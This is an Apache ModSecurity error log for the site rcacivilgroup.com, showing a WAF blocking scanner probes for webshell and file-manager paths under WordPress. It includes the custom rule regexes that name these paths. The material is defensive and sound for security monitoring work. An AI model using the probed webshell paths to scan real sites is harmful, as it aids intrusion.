[Fri Apr 24 19:27:44.251172 2026] [:error] [pid 17721:tid 17799] [client 20.107.212.3:27235] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ortasekerli1.php"] [unique_id "aetTsOFXXkLeyDnfk_8qWwAAABI"]
[Fri Apr 24 19:27:46.728058 2026] [:error] [pid 17720:tid 17760] [client 20.107.212.3:50287] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xxa.php"] [unique_id "aetTsuhlUs6BS3Ng7_WFKwAAAMY"]
[Fri Apr 24 19:27:48.351799 2026] [:error] [pid 17808:tid 17811] [client 20.107.212.3:27231] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xxa.php"] [unique_id "aetTtOarbOEFI8qshvIdZwAAAEE"]
[Fri Apr 24 19:27:49.210879 2026] [:error] [pid 4177:tid 4203] [client 20.107.212.3:47662] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xxa.php"] [unique_id "aetTtX2asKnvdrSe0x7emwAAAZI"]
[Fri Apr 24 19:27:49.865528 2026] [:error] [pid 17808:tid 17821] [client 20.107.212.3:44122] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xxa.php"] [unique_id "aetTtearbOEFI8qshvIdbgAAAEs"]
[Fri Apr 24 19:27:50.926762 2026] [:error] [pid 4177:tid 4193] [client 20.107.212.3:47136] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file6.php"] [unique_id "aetTtn2asKnvdrSe0x7eoQAAAYg"]
[Fri Apr 24 19:27:51.680780 2026] [:error] [pid 17720:tid 17770] [client 20.107.212.3:3486] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file6.php"] [unique_id "aetTt-hlUs6BS3Ng7_WFNAAAANA"]
[Fri Apr 24 19:27:52.877344 2026] [:error] [pid 17808:tid 17833] [client 20.107.212.3:29706] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file6.php"] [unique_id "aetTuOarbOEFI8qshvIdcAAAAFc"]
[Fri Apr 24 19:27:53.720770 2026] [:error] [pid 17808:tid 17834] [client 20.107.212.3:47627] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file6.php"] [unique_id "aetTuearbOEFI8qshvIdcwAAAFg"]
[Fri Apr 24 19:27:56.069397 2026] [:error] [pid 17720:tid 17769] [client 20.107.212.3:49609] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-asyn-upload.php"] [unique_id "aetTvOhlUs6BS3Ng7_WFOwAAAM8"]
[Fri Apr 24 19:27:57.735622 2026] [:error] [pid 4177:tid 4194] [client 20.107.212.3:35080] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-asyn-upload.php"] [unique_id "aetTvX2asKnvdrSe0x7ewwAAAYk"]
[Fri Apr 24 19:27:59.732900 2026] [:error] [pid 17719:tid 17738] [client 20.107.212.3:41009] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-asyn-upload.php"] [unique_id "aetTv8TZ9gzEyL1BkPqbBAAAAIs"]
[Fri Apr 24 19:28:01.456662 2026] [:error] [pid 17808:tid 17827] [client 20.107.212.3:3390] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-asyn-upload.php"] [unique_id "aetTwearbOEFI8qshvIdhQAAAFE"]
[Fri Apr 24 19:28:02.318261 2026] [:error] [pid 17808:tid 17834] [client 20.107.212.3:32946] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/redixsx.php"] [unique_id "aetTwuarbOEFI8qshvIdjQAAAFg"]
[Fri Apr 24 19:28:03.784428 2026] [:error] [pid 17808:tid 17827] [client 20.107.212.3:47107] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/redixsx.php"] [unique_id "aetTw-arbOEFI8qshvIdkwAAAFE"]
[Fri Apr 24 19:28:05.187784 2026] [:error] [pid 17721:tid 17802] [client 20.107.212.3:47668] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/redixsx.php"] [unique_id "aetTxeFXXkLeyDnfk_8qbAAAABU"]
[Fri Apr 24 19:28:06.529822 2026] [:error] [pid 17721:tid 17804] [client 20.107.212.3:18445] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/redixsx.php"] [unique_id "aetTxuFXXkLeyDnfk_8qbwAAABc"]
[Fri Apr 24 19:28:08.524705 2026] [:error] [pid 14531:tid 14556] [client 20.107.212.3:49662] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/alpha.php"] [unique_id "aetTyHfLU2gw-6KR-Ga04gAAAVc"]
[Fri Apr 24 19:28:10.502793 2026] [:error] [pid 17808:tid 17821] [client 20.107.212.3:50282] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/alpha.php"] [unique_id "aetTyuarbOEFI8qshvIdoAAAAEs"]
[Fri Apr 24 19:28:11.760207 2026] [:error] [pid 17721:tid 17788] [client 20.107.212.3:42017] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/alpha.php"] [unique_id "aetTy-FXXkLeyDnfk_8qdQAAAAc"]
[Fri Apr 24 19:28:13.094337 2026] [:error] [pid 17721:tid 17802] [client 20.107.212.3:40972] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/alpha.php"] [unique_id "aetTzeFXXkLeyDnfk_8qeQAAABU"]
[Fri Apr 24 19:28:14.301437 2026] [:error] [pid 17808:tid 17831] [client 20.107.212.3:29734] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bc.php"] [unique_id "aetTzuarbOEFI8qshvIdowAAAFU"]
[Fri Apr 24 19:28:15.318061 2026] [:error] [pid 17721:tid 17783] [client 20.107.212.3:19280] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bc.php"] [unique_id "aetTz-FXXkLeyDnfk_8qegAAAAI"]
[Fri Apr 24 19:28:16.498300 2026] [:error] [pid 17721:tid 17793] [client 20.107.212.3:29733] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bc.php"] [unique_id "aetT0OFXXkLeyDnfk_8qfwAAAAw"]
[Fri Apr 24 19:28:17.507397 2026] [:error] [pid 4177:tid 4197] [client 20.107.212.3:57431] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bc.php"] [unique_id "aetT0X2asKnvdrSe0x7e2AAAAYw"]
[Fri Apr 24 19:28:18.824548 2026] [:error] [pid 17721:tid 17792] [client 20.107.212.3:24177] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/67.php"] [unique_id "aetT0uFXXkLeyDnfk_8qgwAAAAs"]
[Fri Apr 24 19:28:20.214517 2026] [:error] [pid 17808:tid 17834] [client 20.107.212.3:24630] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/67.php"] [unique_id "aetT1OarbOEFI8qshvIdvAAAAFg"]
[Fri Apr 24 19:28:22.744928 2026] [:error] [pid 17720:tid 17763] [client 20.107.212.3:46092] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/67.php"] [unique_id "aetT1uhlUs6BS3Ng7_WFRQAAAMk"]
[Fri Apr 24 19:28:25.020244 2026] [:error] [pid 4177:tid 4205] [client 20.107.212.3:32907] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/67.php"] [unique_id "aetT2X2asKnvdrSe0x7e4AAAAZQ"]
[Fri Apr 24 19:28:26.692458 2026] [:error] [pid 4177:tid 4198] [client 20.107.212.3:32914] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/1mrX.php"] [unique_id "aetT2n2asKnvdrSe0x7e6QAAAY0"]
[Fri Apr 24 19:28:28.841877 2026] [:error] [pid 4177:tid 4209] [client 20.107.212.3:41996] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/1mrX.php"] [unique_id "aetT3H2asKnvdrSe0x7e8AAAAZg"]
[Fri Apr 24 19:28:32.968826 2026] [:error] [pid 17808:tid 17816] [client 20.107.212.3:24576] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/1mrX.php"] [unique_id "aetT4OarbOEFI8qshvId1QAAAEY"]
[Fri Apr 24 19:28:34.842865 2026] [:error] [pid 17808:tid 17815] [client 20.107.212.3:62523] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/1mrX.php"] [unique_id "aetT4uarbOEFI8qshvId2QAAAEU"]
[Fri Apr 24 19:28:35.957210 2026] [:error] [pid 17808:tid 17818] [client 20.107.212.3:32896] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/x402.php"] [unique_id "aetT4-arbOEFI8qshvId3AAAAEg"]
[Fri Apr 24 19:50:37.919515 2026] [:error] [pid 17808:tid 17832] [client 74.248.96.105:1404] [client 74.248.96.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aetZDearbOEFI8qshvIkawAAAFY"]
[Fri Apr 24 19:50:42.106253 2026] [:error] [pid 4177:tid 4199] [client 74.248.96.105:15214] [client 74.248.96.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aetZEn2asKnvdrSe0x7raAAAAY4"]
[Fri Apr 24 22:16:04.052742 2026] [:error] [pid 17719:tid 17749] [client 43.157.170.126:37462] [client 43.157.170.126] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "aet7JMTZ9gzEyL1BkPq7UQAAAJY"]
[Fri Apr 24 22:50:33.532696 2026] [:error] [pid 17808:tid 17818] [client 98.159.37.118:64591] [client 98.159.37.118] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/pwnd/pwnd.php"] [unique_id "aeuDOearbOEFI8qshvJlAgAAAEg"]
[Fri Apr 24 22:50:38.198127 2026] [:error] [pid 4177:tid 4186] [client 173.239.218.184:20017] [client 173.239.218.184] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/style-engine/worksec.php"] [unique_id "aeuDPn2asKnvdrSe0x5UWAAAAYE"]
[Fri Apr 24 22:50:46.679053 2026] [:error] [pid 17719:tid 17738] [client 173.239.218.159:32631] [client 173.239.218.159] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "rcacivilgroup.com"] [uri "/tinyfilemanager.php"] [unique_id "aeuDRsTZ9gzEyL1BkPrBmwAAAIs"]
[Fri Apr 24 22:50:50.963715 2026] [:error] [pid 4177:tid 4185] [client 98.159.37.129:62861] [client 98.159.37.129] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/index.php"] [unique_id "aeuDSn2asKnvdrSe0x5UZgAAAYA"]
[Fri Apr 24 22:50:59.356472 2026] [:error] [pid 17720:tid 17778] [client 173.239.218.173:57165] [client 173.239.218.173] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/widgets/dyqvcfqv.php"] [unique_id "aeuDU-hlUs6BS3Ng7_Xg-QAAANg"]
[Fri Apr 24 22:51:01.808858 2026] [:error] [pid 17721:tid 17799] [client 173.239.218.180:40935] [client 173.239.218.180] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/images/smilies/about.php"] [unique_id "aeuDVeFXXkLeyDnfk_9XmgAAABI"]
[Fri Apr 24 22:51:02.915188 2026] [:error] [pid 17808:tid 17822] [client 173.239.218.182:48351] [client 173.239.218.182] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/crop/admin.php"] [unique_id "aeuDVuarbOEFI8qshvJlJQAAAEw"]
[Fri Apr 24 22:51:03.946852 2026] [:error] [pid 17720:tid 17775] [client 173.239.218.177:25247] [client 173.239.218.177] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/PHPMailer/wp-conflg.php"] [unique_id "aeuDV-hlUs6BS3Ng7_Xg-gAAANU"]
[Fri Apr 24 22:51:04.915793 2026] [:error] [pid 17720:tid 17768] [client 98.159.37.128:26493] [client 98.159.37.128] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/PHPMailer/admin.php"] [unique_id "aeuDWOhlUs6BS3Ng7_Xg_wAAAM4"]
[Fri Apr 24 22:51:06.832601 2026] [:error] [pid 17720:tid 17767] [client 216.24.210.57:62833] [client 216.24.210.57] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/widgets/wp-login.php"] [unique_id "aeuDWuhlUs6BS3Ng7_XhAgAAAM0"]
[Fri Apr 24 22:51:08.396040 2026] [:error] [pid 17721:tid 17804] [client 98.159.37.117:59671] [client 98.159.37.117] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/PHPMailer/options.php"] [unique_id "aeuDXOFXXkLeyDnfk_9XnQAAABc"]
[Fri Apr 24 22:51:10.984211 2026] [:error] [pid 17721:tid 17792] [client 173.239.218.159:40981] [client 173.239.218.159] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "rcacivilgroup.com"] [uri "/filemanager.php"] [unique_id "aeuDXuFXXkLeyDnfk_9XoQAAAAs"]
[Fri Apr 24 22:51:15.061979 2026] [:error] [pid 17808:tid 17830] [client 173.239.218.174:45049] [client 173.239.218.174] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/IXR/admin.php"] [unique_id "aeuDY-arbOEFI8qshvJlSAAAAFQ"]
[Fri Apr 24 22:51:16.389374 2026] [:error] [pid 17808:tid 17827] [client 98.159.37.128:21823] [client 98.159.37.128] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/jquery/jquery.php"] [unique_id "aeuDZOarbOEFI8qshvJlUQAAAFE"]
[Fri Apr 24 22:51:18.709457 2026] [:error] [pid 17808:tid 17818] [client 173.239.218.176:63731] [client 173.239.218.176] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/block-supports/autoload_classmap.php"] [unique_id "aeuDZuarbOEFI8qshvJlWgAAAEg"]
[Fri Apr 24 22:51:27.103907 2026] [:error] [pid 4177:tid 4203] [client 173.239.218.174:50573] [client 173.239.218.174] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/table/int/tmpl/index.php"] [unique_id "aeuDb32asKnvdrSe0x5UlQAAAZI"]
